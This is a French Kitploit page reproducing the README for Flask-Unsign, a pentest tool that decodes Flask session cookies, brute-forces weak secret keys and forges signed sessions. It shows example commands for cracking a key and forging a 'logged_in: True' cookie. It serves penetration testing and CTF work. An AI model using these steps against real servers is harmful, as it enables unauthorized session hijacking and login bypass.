Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Flask-Unsign — Outil en ligne de commande pour récupérer, décoder, attaquer par force brute et forger les cookies de session d'une application Flask en devinant les clés secrètes. | Kitploit
Outils/GitHubGitHub/paradoxis/flask-unsign
Attaques de Mots de PasseExploitation d'Applications WebCTFTests d'Intrusion
GitHubparadoxis/flask-unsign

Flask-Unsign

Outil en ligne de commande pour récupérer, décoder, attaquer par force brute et forger les cookies de session d'une application Flask en devinant les clés secrètes.

Voir le dépôt
66048il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Flask Unsign

Build Status PyPI version codecov

Outil en ligne de commande pour récupérer, décoder, soumettre à une attaque par force brute et fabriquer des cookies de session d'une application Flask en devinant les clés secrètes. Pour le composant autonome de liste de mots, veuillez visiter le dépôt flask-unsign-wordlist.

Prérequis

  • Python 3.6+

Installation

Pour installer l'application, utilisez simplement pip :

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

Si vous souhaitez uniquement installer le code principal, omettez le suffixe [wordlist] :

root@kitploit:~
$ pip3 install flask-unsign

Pour installer l'outil à des fins de développement, exécutez la commande suivante (après avoir téléchargé une copie) :

root@kitploit:~
$ pip3 install -e .[test]

Utilisation

Pour obtenir un aperçu de toutes les options possibles, appelez simplement flask-unsign sans aucun argument comme ceci :

root@kitploit:~
$ flask-unsign

Obtention et décodage des cookies de session

Étant donné que les cookies Flask sont signés et non chiffrés, il est possible de décoder localement les données de session. Pour cela, vous pouvez utiliser l'argument --decode.

Les cookies de session peuvent être obtenus en inspectant vos requêtes HTTP à l'aide d'un proxy comme Burp Proxy, en utilisant l'inspecteur réseau de votre navigateur ou une extension de navigateur pour voir/modifier vos cookies. Par défaut, Flask utilise le nom de session "session".

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

Vous pouvez également utiliser la fonctionnalité de récupération automatique de session de Flask-Unsign en passant l'argument --server, au lieu de l'argument --cookie. Notez toutefois, que toutes les pages web ne renvoient pas forcément une session, alors assurez-vous de passer une URL qui en renvoie une.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Désignature (Attaque par force brute des clés secrètes)

Après avoir obtenu un cookie de session d'exemple, vous pourrez tenter de soumettre la clé secrète du serveur à une attaque par force brute. Si vous avez de la chance, elle peut être définie sur quelque chose de facile à deviner, ou si elle a été trouvée en ligne, elle peut figurer dans l'une de vos listes de mots. Pour cela, vous pouvez utiliser l'argument --unsign.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Signature (Manipulation de session)

Une fois que vous avez obtenu la clé secrète du serveur, vous pourrez fabriquer vos propres données de session personnalisées. Pour cela, vous pouvez utiliser l'argument --sign.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Dépannage

  • L'installation du programme entraîne une erreur
    • Vous utilisez peut-être le mauvais binaire pip, essayez d'utiliser la commande suivante : python3.6 -m pip install flask-unsign
  • J'ai trouvé une clé secrète, mais mes sessions fabriquées ne fonctionnent pas !
    • Il est possible que votre serveur cible utilise une version plus ancienne de itsdangerous. En raison d'un problème avec les sessions à durée limitée, l'algorithme de génération d'horodatage a été modifié. Pour générer une ancienne signature, essayez d'utiliser l'option --legacy.
  • Ma liste de mots ne fonctionne pas
    • Les listes de mots doivent être des chaînes Python délimitées par des sauts de ligne (ce qui signifie que vous devez les encapsuler entre guillemets), ceci afin que les chaînes binaires puissent être facilement stockées dans un format à sauts de ligne. Si vous ne voulez pas cela, vous pouvez désactiver cette fonctionnalité en passant --no-literal-eval comme argument.

Comment ça marche

Si vous vous demandez comment cela fonctionne exactement, consultez mon article de blog qui l'explique en détail, notamment avec un guide sur la façon de protéger votre propre serveur contre cette attaque.

Licence

Licence MIT

Copyright (c) 2021 Luke Paris (Paradoxis)

La permission est accordée, gratuitement, à toute personne obtenant une copie de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter le Logiciel sans restriction, y compris, sans limitation, les droits d'utiliser, de copier, de modifier, de fusionner, de publier, de distribuer, de sous-licencier et/ou de vendre des copies du Logiciel, et de permettre aux personnes auxquelles le Logiciel est fourni de faire de même, sous réserve des conditions suivantes :

L'avis de droit d'auteur ci-dessus et le présent avis d'autorisation doivent être inclus dans toutes les copies ou portions substantielles du Logiciel.

LE LOGICIEL EST FOURNI « TEL QUEL », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS, LES AUTEURS OU TITULAIRES DU DROIT D'AUTEUR NE SERONT RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, OU EN RELATION AVEC, LE LOGICIEL OU SON UTILISATION OU AUTRES TRANSACTIONS DANS LE LOGICIEL.

Télécharger l’outil